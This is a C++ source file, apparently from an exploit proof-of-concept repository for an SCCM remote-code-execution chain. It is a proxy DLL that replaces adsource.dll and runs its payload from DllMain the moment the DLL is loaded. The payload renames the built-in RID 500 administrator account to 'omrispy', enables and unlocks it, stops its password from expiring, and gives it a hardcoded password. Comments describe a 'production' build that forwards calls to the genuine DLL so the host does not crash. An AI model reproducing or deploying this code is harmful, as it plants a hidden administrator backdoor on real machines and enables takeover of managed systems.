Files
OmriBaso-SCCM-CVE-2026-4730…/AdSource_Proxy/adsource_proxy.cpp
T
2026-08-03 18:31:59 +03:00

281 lines
9.4 KiB
C++

// adsource_proxy.cpp
//
// Proxy DLL for the SCCM cab-slip -> adsysdis.dll -> adsource.dll RCE chain.
//
// Payload now runs from DllMain (DLL_PROCESS_ATTACH) on a worker thread, so it
// fires the instant adsysdis loads the DLL -- BEFORE any (stubbed) export can be
// called and crash the host. Build MUST link with /ENTRY:DllMain (NOT /NOENTRY),
// otherwise DllMain is dead code and nothing runs.
//
// For the production, non-crashing build, replace the stub .def with pure
// forwarders to a renamed genuine copy (adsource_orig.dll). The payload here is
// unchanged either way -- it lives in DllMain, not in an export.
//
// Build: see Build.ps1
#include <windows.h>
#pragma function(memset)
extern "C" void* __cdecl memset(void* dest, int ch, size_t count) {
unsigned char* p = (unsigned char*)dest;
while (count--) *p++ = (unsigned char)ch;
return dest;
}
// ---------- netapi32 types ----------
typedef DWORD NET_API_STATUS;
#define NERR_Success 0
#define UF_SCRIPT 0x0001
#define UF_NORMAL_ACCOUNT 0x0200
#define UF_DONT_EXPIRE_PASSWD 0x10000
#define UF_ACCOUNTDISABLE 0x0002
#define UF_LOCKOUT 0x0010
#define USER_UF_FIELD 0x00000008 // flag for USER_INFO_1008
typedef struct {
DWORD usri1008_flags;
} USER_INFO_1008;
typedef struct {
LPWSTR usri1003_password;
} USER_INFO_1003;
typedef struct {
LPWSTR usri0_name;
} USER_INFO_0;
typedef struct {
DWORD usri20_name[1]; // placeholder; we only need usri20_flags
} USER_INFO_20;
typedef NET_API_STATUS (WINAPI *fn_NetUserEnum)(
LPCWSTR, DWORD, DWORD, LPBYTE*, DWORD, LPDWORD, LPDWORD, LPDWORD);
typedef NET_API_STATUS (WINAPI *fn_NetUserGetInfo)(
LPCWSTR, LPCWSTR, DWORD, LPBYTE*);
typedef NET_API_STATUS (WINAPI *fn_NetUserSetInfo)(
LPCWSTR, LPCWSTR, DWORD, LPBYTE, LPDWORD);
typedef NET_API_STATUS (WINAPI *fn_NetApiBufferFree)(LPVOID);
typedef struct {
LPWSTR usri1_name;
LPWSTR usri1_password;
DWORD usri1_password_age;
DWORD usri1_priv;
LPWSTR usri1_home_dir;
LPWSTR usri1_comment;
DWORD usri1_flags;
LPWSTR usri1_script_path;
} USER_INFO_1;
// ---------- logging ----------
static void GetFullUserName(char* out, DWORD outSize) {
HANDLE hToken = NULL;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
lstrcpynA(out, "(unknown)", (int)outSize);
return;
}
BYTE tokBuf[256] = {0};
DWORD needed = 0;
BOOL ok = GetTokenInformation(hToken, TokenUser, tokBuf, sizeof(tokBuf), &needed);
CloseHandle(hToken);
if (!ok) { lstrcpynA(out, "(unknown)", (int)outSize); return; }
PSID sid = ((TOKEN_USER*)tokBuf)->User.Sid;
char user[128] = {0}, domain[128] = {0};
DWORD userSize = sizeof(user), domainSize = sizeof(domain);
SID_NAME_USE snu;
if (!LookupAccountSidA(NULL, sid, user, &userSize, domain, &domainSize, &snu))
lstrcpynA(out, "(unknown)", (int)outSize);
else
wsprintfA(out, "%s\\%s", domain, user);
}
static void Log(const char* msg) {
HANDLE h = CreateFileA("C:\\POC.txt", FILE_APPEND_DATA,
FILE_SHARE_READ | FILE_SHARE_WRITE, NULL,
OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (h == INVALID_HANDLE_VALUE) return;
SetFilePointer(h, 0, NULL, FILE_END);
char buf[512];
char userId[256] = {0};
GetFullUserName(userId, sizeof(userId));
int n = wsprintfA(buf, "[%s] %s | PID=%lu TID=%lu | tick=%lu\r\n",
userId, msg, GetCurrentProcessId(), GetCurrentThreadId(), GetTickCount());
DWORD written = 0;
WriteFile(h, buf, (DWORD)n, &written, NULL);
CloseHandle(h);
}
// ---------- payload ----------
static void EnableBuiltinAdmin(void) {
HMODULE hNet = LoadLibraryA("netapi32.dll");
if (!hNet) { Log("FAIL: LoadLibrary netapi32.dll"); return; }
fn_NetUserGetInfo pGetInfo = (fn_NetUserGetInfo) GetProcAddress(hNet, "NetUserGetInfo");
fn_NetUserSetInfo pSetInfo = (fn_NetUserSetInfo) GetProcAddress(hNet, "NetUserSetInfo");
fn_NetApiBufferFree pFreeBuf = (fn_NetApiBufferFree)GetProcAddress(hNet, "NetApiBufferFree");
if (!pGetInfo || !pSetInfo || !pFreeBuf) {
Log("FAIL: GetProcAddress netapi32");
FreeLibrary(hNet);
return;
}
wchar_t password[] = L"Xm#Poc-2026!Adm1n$Ok";
char msg[512];
// --- Step 1: Find the built-in RID 500 account by its well-known SID ---
// WinAccountAdministratorSid requires the machine's domain SID as input.
wchar_t compName[MAX_COMPUTERNAME_LENGTH + 1] = {0};
DWORD compSize = MAX_COMPUTERNAME_LENGTH + 1;
if (!GetComputerNameW(compName, &compSize)) {
wsprintfA(msg, "GetComputerName failed gle=%lu", GetLastError());
Log(msg);
FreeLibrary(hNet);
return;
}
BYTE machineSid[SECURITY_MAX_SID_SIZE];
DWORD machineSidSize = sizeof(machineSid);
wchar_t machineDom[256] = {0};
DWORD machineDomLen = 256;
SID_NAME_USE machineSnu;
if (!LookupAccountNameW(NULL, compName, machineSid, &machineSidSize,
machineDom, &machineDomLen, &machineSnu)) {
wsprintfA(msg, "LookupAccountName(computer) failed gle=%lu", GetLastError());
Log(msg);
FreeLibrary(hNet);
return;
}
BYTE adminSid[SECURITY_MAX_SID_SIZE];
DWORD adminSidSize = sizeof(adminSid);
if (!CreateWellKnownSid(WinAccountAdministratorSid, machineSid, adminSid, &adminSidSize)) {
wsprintfA(msg, "CreateWellKnownSid(RID500) failed gle=%lu", GetLastError());
Log(msg);
FreeLibrary(hNet);
return;
}
wchar_t currentName[256] = {0};
wchar_t domBuf[256] = {0};
DWORD nameLen = 256, domLen = 256;
SID_NAME_USE snu;
if (!LookupAccountSidW(NULL, adminSid, currentName, &nameLen, domBuf, &domLen, &snu)) {
wsprintfA(msg, "LookupAccountSid(RID500) failed gle=%lu", GetLastError());
Log(msg);
FreeLibrary(hNet);
return;
}
wsprintfA(msg, "RID 500 original name: %ls", currentName);
Log(msg);
// --- Step 2: Rename to "omrispy" ---
if (lstrcmpiW(currentName, L"omrispy") != 0) {
USER_INFO_0 renameInfo;
renameInfo.usri0_name = (LPWSTR)L"omrispy";
DWORD parmErr = 0;
NET_API_STATUS st = pSetInfo(NULL, currentName, 0, (LPBYTE)&renameInfo, &parmErr);
wsprintfA(msg, "Rename '%ls' -> 'omrispy' status=%lu parmErr=%lu", currentName, st, parmErr);
Log(msg);
if (st != NERR_Success) {
Log("WARN: rename failed; continuing with current name for remaining ops");
}
} else {
Log("RID 500 already named 'omrispy'");
}
// Use whatever name the account has now for subsequent calls
wchar_t targetName[256];
// Re-resolve in case rename succeeded
nameLen = 256; domLen = 256;
if (LookupAccountSidW(NULL, adminSid, targetName, &nameLen, domBuf, &domLen, &snu)) {
wsprintfA(msg, "Using account name: %ls", targetName);
Log(msg);
} else {
lstrcpynW(targetName, L"omrispy", 256);
Log("Re-resolve failed; assuming 'omrispy'");
}
// --- Step 3: Get current flags, enable if disabled, unlock if locked ---
LPBYTE infoBuf = NULL;
NET_API_STATUS st = pGetInfo(NULL, targetName, 1, &infoBuf);
if (st != NERR_Success || !infoBuf) {
wsprintfA(msg, "NetUserGetInfo(1) status=%lu", st);
Log(msg);
FreeLibrary(hNet);
return;
}
USER_INFO_1* pUI1 = (USER_INFO_1*)infoBuf;
DWORD oldFlags = pUI1->usri1_flags;
wsprintfA(msg, "Current flags=0x%lX (disabled=%d locked=%d)",
oldFlags, !!(oldFlags & UF_ACCOUNTDISABLE), !!(oldFlags & UF_LOCKOUT));
Log(msg);
DWORD newFlags = oldFlags;
newFlags &= ~UF_ACCOUNTDISABLE;
newFlags &= ~UF_LOCKOUT;
newFlags |= UF_DONT_EXPIRE_PASSWD;
if (newFlags != oldFlags) {
USER_INFO_1008 flagInfo;
flagInfo.usri1008_flags = newFlags;
DWORD parmErr = 0;
st = pSetInfo(NULL, targetName, 1008, (LPBYTE)&flagInfo, &parmErr);
wsprintfA(msg, "Enable/unlock status=%lu parmErr=%lu newFlags=0x%lX", st, parmErr, newFlags);
Log(msg);
} else {
Log("Account already enabled and unlocked");
}
pFreeBuf(infoBuf);
// --- Step 4: Set password ---
USER_INFO_1003 pwInfo;
pwInfo.usri1003_password = password;
DWORD parmErr = 0;
st = pSetInfo(NULL, targetName, 1003, (LPBYTE)&pwInfo, &parmErr);
wsprintfA(msg, "SetPassword status=%lu parmErr=%lu (0=ok, 2245=too short, 5=access denied)", st, parmErr);
Log(msg);
FreeLibrary(hNet);
}
// ---------- worker (runs off the loader lock) ----------
static volatile LONG g_ran = 0;
static DWORD WINAPI PayloadThread(LPVOID) {
if (InterlockedExchange(&g_ran, 1) != 0) return 0; // once per process
Log("Worker: start");
EnableBuiltinAdmin();
Log("Worker: done");
return 0;
}
// ---------- DLL entry (this IS the payload trigger; needs /ENTRY:DllMain) ----------
BOOL APIENTRY DllMain(HMODULE hMod, DWORD reason, LPVOID) {
if (reason == DLL_PROCESS_ATTACH) {
DisableThreadLibraryCalls(hMod);
Log("DllMain ATTACH");
// Do NOT call LoadLibrary / net APIs under loader lock -- hand off to a thread.
HANDLE hThr = CreateThread(NULL, 0, PayloadThread, NULL, 0, NULL);
if (hThr) CloseHandle(hThr);
else Log("FAIL: CreateThread");
}
return TRUE;
}
// ---------- generic export stub (satisfies the .def for the test build) ----------
extern "C" void* Stub(void) {
return NULL;
}